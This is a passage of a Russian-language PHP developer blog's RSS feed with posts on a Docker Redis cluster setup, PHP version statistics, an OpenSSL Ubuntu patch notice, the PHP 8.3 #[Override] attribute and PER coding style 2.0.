      - "127.0.0.1:16385:16385"
    volumes:
      - redis_5_data:/data
      - ./redis_5/redis.conf:/usr/local/etc/redis/redis.conf
    command: "redis-server /usr/local/etc/redis/redis.conf"

  redis_6:
    image: redis:latest
    restart: always
    container_name: redis_6
    sysctls:
      - net.core.somaxconn=65536
    networks:
      network_redis_cluster:
        ipv4_address: 173.18.0.16
    ports:
      - "127.0.0.1:6386:6386"
      - "127.0.0.1:16386:16386"
    volumes:
      - redis_6_data:/data
      - ./redis_6/redis.conf:/usr/local/etc/redis/redis.conf
    command: "redis-server /usr/local/etc/redis/redis.conf"

  redis_cluster:
    image: redis:latest
    container_name: redis_cluster
    sysctls:
      - net.core.somaxconn=65536
    networks:
      network_redis_cluster:
        ipv4_address: 173.18.0.17
    tty: true
    command: "redis-cli --cluster create 173.18.0.11:6381 173.18.0.12:6382 173.18.0.13:6383 173.18.0.14:6384 173.18.0.15:6385 173.18.0.16:6386 --cluster-replicas 1 --cluster-yes"
    depends_on:
      - redis_1
      - redis_2
      - redis_3
      - redis_4
      - redis_5
      - redis_6</code></pre><p><span style="letter-spacing: 0px; font-family: var(--bff);">1. Создает несколько экземпляров Redis</span><br></p><p><span style="letter-spacing: 0px; font-family: var(--bff);">2. Настраивает их IP-адреса и порты так, чтобы они соответствовали тем, которые мы сможем использовать.</span><br></p><p><span style="letter-spacing: 0px; font-family: var(--bff);">3. Скопирует конфиг файл&nbsp;</span><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">redis.conf</span><span style="font-family: var(--bff); letter-spacing: 0px;">, чтобы они могли действовать как кластер</span></p><p>4. Создает контейнер инициатора кластера, который необходим только для выполнения нашей команды и подключения к кластеру.</p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Основной секрет здесь кроется в команде&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff); background-color: rgb(255, 255, 255);">redis-cli</span><span style="letter-spacing: 0px; font-family: var(--bff);">:</span><br></p><pre class="line-numbers"><code class="language-powershell">redis-cli --cluster create 173.18.0.11:6381 173.18.0.12:6382 173.18.0.13:6383 173.18.0.14:6384 173.18.0.15:6385 173.18.0.16:6386 --cluster-replicas 1 --cluster-yes</code></pre><p><span style="letter-spacing: 0px; font-family: var(--bff);">Эта команда создает кластер и указывает на конкретные экземпляры Redis, которые будут доступны при запуске этого скрипта, здесь мы используем жестко закодированные IP-адреса, которые позже будут предоставлены нашим файлом&nbsp;</span><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">docker-compose.yml</span><span style="font-family: var(--bff); letter-spacing: 0px;">.</span></p><p>Этот кластер состоит из 3 сегментов. В каждом сегменте есть главный узел, отвечающий за все операции записи, а также узел-реплика, содержащий копию данных. Шард кластера Redis может иметь до 500 реплик. Узел-реплика может стать главным узлом, если текущий главный узел становится недоступным.</p><p>Теперь обратите внимание, что внутри наших redis папок у нас также есть файлы с именем redis.conf. Позже этот файл будет скопирован в каждый контейнер Redis, чтобы они могли указать экземпляру Redis работать как часть кластера. Давайте посмотрим на его содержимое:</p><pre class="line-numbers"><code class="language-powershell">port 6381
cluster-enabled yes
cluster-config-file nodes.conf
cluster-node-timeout 3000
appendonly yes

tcp-keepalive 0

#save 900 1
#save 300 10
#save 60 10000

tcp-backlog 65536</code></pre><p><span style="letter-spacing: 0px; font-family: var(--bff);">Там не так уж и много чего происходит. Важен параметр <span style="font-weight: bold;">cluster-enabled yes</span>, что позволяет нашему экземпляру Redis действовать как часть кластера.</span></p><p><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">Теперь, когда мы узнали все детали файла, давайте попробуем запустить все это. Перейдите в свой терминал и выполните:</span></p><pre class="line-numbers"><code class="language-powershell">docker-compose up -d</code></pre><p><span style="font-family: var(--bff); letter-spacing: 0px;">Ну и в принципе все. Если все прошло удачно, как на гифке в начале поста, то вы уже можете приступать к использованию кластера редис в своем приложении.</span></p><p><span style="font-family: var(--bff); letter-spacing: 0px;">Чтобы подключиться к Redis из вашего приложения, вам понадобится библиотека, которая может сделать это за вас. Для каждого языка есть своя реализация подключения к кластеру, т.к. мы используем&nbsp;</span><a href="https://github.com/predis/predis" target="_blank" style="font-family: var(--bff); letter-spacing: 0px; font-weight: 400;">predis</a><span style="font-family: var(--bff); letter-spacing: 0px;">&nbsp;то вот пример для PHP:</span><br></p><pre class="line-numbers"><code class="language-php">$client = new \Predis\Client(
    [["host" =&gt; "127.0.0.1", "port" =&gt; 6381],
    ["host" =&gt; "127.0.0.1", "port" =&gt; 6382],
    ["host" =&gt; "127.0.0.1", "port" =&gt; 6383],
    ["host" =&gt; "127.0.0.1","port" =&gt; 6384],
    ["host" =&gt; "127.0.0.1", "port" =&gt; 6385],
    ["host" =&gt; "127.0.0.1", "port" =&gt; 6386]],
    ['cluster' =&gt; 'redis']
);</code></pre><p style="background-color: rgb(255, 255, 255); letter-spacing: normal;"><span style="font-family: var(--bff); letter-spacing: 0px;">Для Golang:</span></p><pre class="line-numbers"><code class="language-php">import "github.com/redis/go-redis/v9"

rdb := redis.NewClusterClient(&amp;redis.ClusterOptions{
    Addrs: []string{":6381", ":6382", ":6383", ":6384", ":6385", ":6386"},

    // To route commands by latency or randomly, enable one of the following.
    //RouteByLatency: true,
    //RouteRandomly: true,
})</code></pre><p style="background-color: rgb(255, 255, 255); letter-spacing: normal;"><span style="font-family: var(--bff); letter-spacing: 0px;">&nbsp;<br></span>Python:</p><pre class="line-numbers"><code class="language-python">&gt;&gt;&gt; from rediscluster import RedisCluster

&gt;&gt;&gt; # Requires at least one node for cluster discovery. Multiple nodes is recommended.
&gt;&gt;&gt; startup_nodes = [{"host": "127.0.0.1", "port": "6381"}, {"host": "127.0.0.1", "port": "6382"}] # ... and etc.
&gt;&gt;&gt; rc = RedisCluster(startup_nodes=startup_nodes, decode_responses=True)

&gt;&gt;&gt; rc.set("foo", "bar")
True
&gt;&gt;&gt; print(rc.get("foo"))
'bar'</code></pre><p style="background-color: rgb(255, 255, 255); letter-spacing: normal;"><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">Ну вот в принципе и все, есть пару условий, которые нужно учитывать для работы с редисом в кластере, например вы не можете использовать такие функции как keys и подобные, но и в продакшне не рекомендуется, конечно, это делать. Тот же scan будет куда предпочтительнее.&nbsp;&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">&nbsp;</span></p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Кстати если вы посмотрите данные редиса, то можете заметить, что некоторые ключи хранятся в одном главном узле, а другие ключи хранятся в других узлах. Это распределение данных, выполняемое Redis, которое обеспечивает балансировку нагрузки в кластере.</span></p><p>Я надеюсь, что эта установка Docker поможет вам в рабочем процессе разработки так же, как это недавно помогло мне и моей команде. Если у вас есть какие-либо вопросы, пишите в комментариях, т.к. тема достаточно сложная и всегда можно дополнить ее деталями.&nbsp;</p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/102</guid>
                <pubDate>2023-08-11T11:23:20+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Статистика версий PHP - выпуск 2023.2]]></title>
                <link>https://sergeymukhin.com/blog/statistika-versii-php-vypusk-20232</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Статистика версий PHP - выпуск 2023.2</h1><blockquote>Второй отчет в 2023 году об используемых версий PHP</blockquote><p>Итак, приступим ко второй части статистики использования версий PHP в сообществе. Первую часть за 2023 год можно найти <a href="https://sergeymukhin.com/blog/statistika-versii-php-vypusk-20231" target="_blank">здесь</a>, плюс дополнительно я также включу в этот пост и предыдущие данные за 2022 год.</p><p><span style="letter-spacing: 0px; font-family: var(--bff);">Напоминаю, что я работаю только с доступными всем данными. Это означает, что эти диаграммы не являются 100% точным представлением сообщества PHP в целом, но они являются точным представлением одной из самых важных частей PHP: <a href="https://packagist.org/php-statistics" target="_blank">экосистемы Packagist</a>.</span></p><h2>Статистика использования</h2><p>Давайте начнем с процента версий PHP, используемых сегодня, и сравним его с предыдущими тремя версиями, обратите внимание, что я пропустил все версии, которые не используются более чем на 1%:</p><div class="table-container" style="overflow-x: auto; color: rgb(17, 17, 17); font-family: Helvetica, Arial, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;; background-color: rgb(254, 254, 254);"><table style="margin-bottom: 2rem; width: 100%;"><tbody><tr class="table-head" style="background-color: rgb(255, 255, 255); font-weight: bold;"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">Версия</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">январь 2022</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">июль 2022</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">январь 2023</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">июль 2023</font></td></tr><tr style="background-color: rgb(252, 244, 245);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">7.1</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">2,4%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">1,9%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">1,8%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">1,3%</font></td></tr><tr style="background-color: rgb(249, 232, 234);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">7.2</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">6,6%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">5,1%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">4,3%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">4,3%</font></td></tr><tr style="background-color: rgb(252, 244, 245);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">7.3</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">12,0%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">8,0%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">5,3%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">4,2%</font></td></tr><tr style="background-color: rgb(249, 232, 234);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">7.4</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">43,9%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">38,4%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">27,7%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">19,9%</font></td></tr><tr style="background-color: rgb(252, 244, 245);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">8,0</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">23,9%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">20,6%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">16,2%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">12,3%</font></td></tr><tr style="background-color: rgb(249, 232, 234);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">8.1</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">9,1%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">24,5%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">38,8%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">39,3%</font></td></tr><tr style="background-color: rgb(252, 244, 245);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">8.2</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">0,0%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">0,0%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">4,7%</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">17,2%</font></td></tr></tbody></table></div><p>Визуализация этих данных выглядит так:</p><p><img src="/files/blog/2023/statistika-versii-php-vypusk-20232-twZ7jN.svg" width="100%"><span style="letter-spacing: 0px; font-family: var(--bff);">Важно знать, какие версии PHP в настоящее время все еще поддерживаются: PHP 8.2 и PHP 8.1 получают обновления. PHP 8.0 все еще получает обновления безопасности до конца ноября этого года. Это означает, что PHP 7.4 и более ранние версии больше не получают никаких обновлений и должны считаться устаревшими.</span></p><p>В общей сложности это около 30% загрузок Packagist устаревших и небезопасных версии PHP. В начале этого года этот показатель был близок к 40%, то есть мы наблюдаем неуклонный спад — это хорошо!</p><p>Переходя к обзорной диаграмме за все время, здесь вы можете увидеть эволюцию использования версий с течением времени:</p><p><img src="/files/blog/2023/statistika-versii-php-vypusk-20232-yBFKKA.svg"><span style="letter-spacing: 0px; font-family: var(--bff);">Кажется, что PHP 8.1 продемонстрировал самый большой рост по сравнению с PHP 7.4 и PHP 5.5. Для сравнения, PHP 8.2 стартовал медленнее. Также интересно отметить относительно высокий процент PHP 8.1 два года подряд. Конечно, PHP 8.1 был довольно интересным&nbsp; выпуском с такими функциями, как перечисления и свойства только для чтения. Будет интересно посмотреть, как изменится этот график в следующем году, когда PHP 8.1 перейдет в режим только исправлений безопасности.</span></p><h2>Требуемые версии</h2><p>Далее если использовать <a href="https://github.com/nikic/popular-package-analysis" target="_blank">анализатор популярных пакетов от Никиты</a>, чтобы загрузить 1000 самых популярных пакетов Composer и просканировать эти пакеты, чтобы определить их минимальную требуемую версию, то получаться результаты:</p><div class="table-container" style="overflow-x: auto; color: rgb(17, 17, 17); font-family: Helvetica, Arial, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;, &quot;Segoe UI Symbol&quot;; background-color: rgb(254, 254, 254);"><table style="margin-bottom: 2rem; width: 100%;"><tbody><tr class="table-head" style="background-color: rgb(255, 255, 255); font-weight: bold;"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">Версия</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">январь 2022</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">июль 2022</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">январь 2023</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">июль 2023</font></td></tr><tr style="background-color: rgb(252, 244, 245);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">5.2</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">10</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">10</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">10</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">7</font></td></tr><tr style="background-color: rgb(249, 232, 234);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">5.3</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">83</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">77</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">78</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">65</font></td></tr><tr style="background-color: rgb(252, 244, 245);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">5.4</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">43</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">40</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">40</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">31</font></td></tr><tr style="background-color: rgb(249, 232, 234);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">5,5</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">42</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">35</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">37</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">21</font></td></tr><tr style="background-color: rgb(252, 244, 245);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">5.6</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">49</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">42</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">43</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">32</font></td></tr><tr style="background-color: rgb(249, 232, 234);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">7,0</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">29</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">29</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">30</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">24</font></td></tr><tr style="background-color: rgb(252, 244, 245);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">7.1</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">190</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">153</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">159</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">125</font></td></tr><tr style="background-color: rgb(249, 232, 234);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">7.2</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">133</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">130</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">144</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">133</font></td></tr><tr style="background-color: rgb(252, 244, 245);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">7.3</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">116</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">104</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">106</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">56</font></td></tr><tr style="background-color: rgb(249, 232, 234);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">7.4</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">69</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">86</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">98</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">97</font></td></tr><tr style="background-color: rgb(252, 244, 245);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">8,0</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">160</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">94</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">103</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">144</font></td></tr><tr style="background-color: rgb(249, 232, 234);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">8.1</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">-</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">125</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">129</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">107</font></td></tr><tr style="background-color: rgb(252, 244, 245);"><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">8.2</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">-</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">-</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">-</font></td><td style="padding: 0.5em 1em;"><font style="vertical-align: inherit;">94</font></td></tr></tbody></table></div><p>Здесь необходимо сделать два важных замечания.</p><ul><li>В этой таблице указана минимальная требуемая версия. Это означает, что пакеты с минимальной версией, например, 8.0, также могут поддерживать PHP 8.1 или PHP 8.2.</li><li>Если вы посчитаете числа, вы заметите, что между каждым годом есть некоторые различия. Не в каждом пакете указана допустимая строка версии.</li></ul><p>Вместо того, чтобы сравнивать абсолютные числа, лучше нанести эти данные на диаграмму для относительного сравнения, чтобы мы могли видеть изменения с течением времени:</p><p><img src="/files/blog/2023/statistika-versii-php-vypusk-20232-y73Aeb.svg"></p><p>Кажется, что в минимальных версиях PHP 8.0 и PHP 8.1 произошел довольно большой скачок - это хорошо. В конце концов, сообщество открытого исходного кода играет большую роль в продвижении сообщества вперед, увеличивая минимальную требуемую версию.<br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/104</guid>
                <pubDate>2023-07-14T10:42:54+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Уязвимость OpenSSL USN-6119-1]]></title>
                <link>https://sergeymukhin.com/blog/uiazvimost-openssl-usn-6119-1</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Уязвимость OpenSSL USN-6119-1</h1><blockquote>Мэтт Касвелл обнаружил, что OpenSSL можеть неправильно обрабатывать определенные идентификаторы объектов ASN.1.</blockquote><p>Уязвимость заключается в том, что злоумышленник может использовать эту проблему, чтобы удаленно заставить OpenSSL потреблять сильно ресурсы, что приведет систему к отказу в обслуживании. (CVE-2023-2650) </p><p>Антон Романов обнаружил, что OpenSSL неправильно обрабатывает расшифровку шифра AES-XTS на 64-битных платформах ARM. Эта проблема затрагивает 18.04 LTS, 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 22.10 и Ubuntu 23.04. (CVE-2023-1255)</p><p>Ваша система предупредит вас при подключении:</p><pre class="line-numbers"><code class="language-powershell">#
# An OpenSSL vulnerability has recently been fixed with USN-6188-1 &amp; 6119-1:
# CVE-2023-2650: possible DoS translating ASN.1 object identifiers.
# Ensure you have updated the package to its latest version.
#
</code></pre><p><span style="letter-spacing: 0px; font-family: var(--bff);">Инструкции по обновлению: запустите,&nbsp;чтобы устранить уязвимость:</span></p><pre class="line-numbers"><code class="language-powershell">sudo pro fix USN-6119-1</code></pre><p><span style="letter-spacing: 0px; font-family: var(--bff);">Результатом будет вывод:</span></p><p><img src="/files/blog/2023/uiazvimost-openssl-usn-6119-1-hmlK4v.jpeg"><span style="letter-spacing: 0px; font-family: var(--bff);"></span></p><p><span style="font-family: var(--bff); letter-spacing: 0px;">Проблему можно решить, обновив систему до следующих версий пакетов:</span><br></p><p>Ubuntu 23.04:</p><p>&nbsp; &nbsp;libssl3&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;3.0.8-1ubuntu1.2</p><p>Ubuntu 22.10:</p><p>&nbsp; &nbsp;libssl3&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;3.0.5-2ubuntu2.3</p><p>Ubuntu 22.04 LTS:</p><p>&nbsp; &nbsp;libssl3&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;3.0.2-0ubuntu1.10</p><p>Ubuntu 20.04 LTS:</p><p>&nbsp; &nbsp;libssl1.1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1.1.1f-1ubuntu2.19</p><p>Ubuntu 18.04 LTS:</p><p>&nbsp; &nbsp;libssl1.0.0&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1.0.2n-1ubuntu5.13</p><p>&nbsp; &nbsp;libssl1.1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1.1.1-1ubuntu2.1~18.04.23</p><p>CVE, содержащиеся в этом USN, включают: CVE-2023-1255, CVE-2023-2650.</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/105</guid>
                <pubDate>2023-07-11T10:02:30+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[PHP 8.3: Атрибут #[Override]]]></title>
                <link>https://sergeymukhin.com/blog/php-83-atribut-override</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">PHP 8.3: Атрибут #[Override]</h1><blockquote>В PHP 8.3 появился новый атрибут #[Override]. Он уже известен в других языках, но позвольте мне рассказать, для чего он нужен, если вы не знаете.</blockquote><p>Пометка метода <a href="https://sergeymukhin.com/blog/atributy-v-php-8">атрибутом</a>&nbsp;<span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);"><span style="font-weight: bold;">#[Override]</span>&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff);">означает, что вы знаете, что этот метод переопределяет родительский метод. Вот в принципе и&nbsp;</span><span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">единственно</span><span style="font-family: var(--bff); letter-spacing: 0px;">&nbsp;все, что он делает, это показывает ваше намерение.</span></p><pre class="line-numbers"><code class="language-php">abstract class Parent
{
    public function methodWithDefaultImplementation(): int
    {
        return 1;
    }
}

final class Child extends Parent
{
    #[Override]
    public function methodWithDefaultImplementation(): void
    {
        return 2; // The overridden method
    }
} </code></pre><p>Теперь когда в какой-то момент родительский метод меняет имя своего метода:</p><pre class="line-numbers"><code class="language-php">abstract class Parent
{
    public function methodWithNewImplementation(): int
    {
        return 1;
    }
}</code></pre><p>До атрибута не было способа узнать, что он больше не переопределяет переименованный метод&nbsp;<span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff); font-weight: bold;">Child::methodWithDefaultImplementation()</span><span style="letter-spacing: 0px; font-family: var(--bff);">, что могло привести к непредвиденным ошибкам.</span></p><p>Однако благодаря этому атрибуту PHP теперь знает, что что-то не так. По сути, он говорит: "Я знаю, что этот метод должен переопределять родительский метод. Если это когда-либо изменится, сообщите мне об этом".</p><h2>Насколько это полезно?</h2><p>Что, конечно больше всего, огорчает в этом RFC, так это то, насколько неуместным он может быть. Мы снова добавляем проверки во время выполнения, что может быть определено статическими анализаторами.</p><p>В <a href="https://t.me/prophp7" target="_blank">телеграм чате PHP</a>&nbsp;уже обсудили, что RFC практически бесполезен, да и&nbsp;<span style="background-color: rgb(255, 255, 255); letter-spacing: 0px; font-family: var(--bff);">в том же списке рассылки <a href="https://externals.io/message/120233" target="_blank">Extrernal</a></span><span style="letter-spacing: 0px; font-family: var(--bff);">&nbsp;</span><span style="letter-spacing: 0px; font-family: var(--bff); background-color: rgb(255, 255, 255);">многие люди пытались привести тот же аргумент об этом RFC, но безрезультатно.</span><span style="letter-spacing: 0px; font-family: var(--bff);">&nbsp;Я</span><span style="letter-spacing: 0px; font-family: var(--bff);">&nbsp;не буду повторять каждый аргумент, который приводился против, поэтому просто сошлюсь на предыдущие мысли по этой теме и резюмирую: "Юра, прости, мы все ... упустили". Внутренние компоненты PHP должны поставляться либо с официальной спецификацией для статических анализаторов, либо с собственным статическим анализатором. Почему? Потому что было бы возможно гораздо больше, и это бы значительно продвинуло PHP вперед.</span></p><p><span style="font-family: var(--bff); letter-spacing: 0px;">Я не возражаю против этой функции, хотя сам, вероятно, никогда не буду ее использовать (я использую IDE, которая предотвращает подобные ошибки, мне не нужна среда выполнения PHP, чтобы перепроверить ее для меня). Что меня огорчает, так это то, как сообщество PHP разделено между лагерями статического и не статического анализа, и я не знаю, найдется ли когда-нибудь кто-то, кто сможет унифицировать и направить язык в нужное русло.</span><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/103</guid>
                <pubDate>2023-06-21T09:33:48+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Релиз PER кодстайл 2.0.0]]></title>
                <link>https://sergeymukhin.com/blog/reliz-psr-per-200</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Релиз PER кодстайл 2.0.0</h1><blockquote>Эта спецификация расширяет и заменяет PSR-12 и требует соблюдения базового стандарта кодирования PSR-1.</blockquote><p>Кстати, на днях, вышла новая версия код стайла для PHP, в которой были исправлены проблемы предыдущей версии, а так же были обновлены правила для нового синтаксиса PHP, такие, как например:</p><ul><li>добавлен раздел с описанием nowdoc и heredoc</li></ul><p><br></p><pre class="line-numbers"><code class="language-php">function notAllowed()
{
    $notAllowed = &lt;&lt;&lt;'COUNTEREXAMPLE'
This
is
not
allowed.
COUNTEREXAMPLE
}
//
function allowed()
{
    $allowedHeredoc = &lt;&lt;&lt;COMPLIANT
        This
        is
        a
        compliant
        heredoc
        COMPLIANT;

    $allowedNowdoc = &lt;&lt;&lt;'COMPLIANT'
        This
        is
        a
        compliant
        nowdoc
        COMPLIANT;
        
    var_dump(
        'foo',
        &lt;&lt;&lt;'COMPLIANT'
            This
            is
            a
            compliant
            parameter
            COMPLIANT,
         'bar',
    );


</code></pre><p>&nbsp;</p><ul><li>добавлен раздел о коротких замыканиях</li></ul><pre class="line-numbers"><code class="language-php">$func = fn(int $x, int $y): int =&gt; $x + $y;

$func = fn(int $x, int $y): int
    =&gt; $x + $y;

$func = fn(
    int $x,
    int $y,
): int
    =&gt; $x + $y;

$result = $collection-&gt;reduce(fn(int $x, int $y): int =&gt; $x + $y, 0);</code></pre><p>&nbsp;</p><ul><li>добавлены правила о конечных запятых</li></ul><pre class="line-numbers"><code class="language-php">function beep(string $a, string $b, string $c)
{
    // ...
}

function beep(
    string $a,
    string $b,
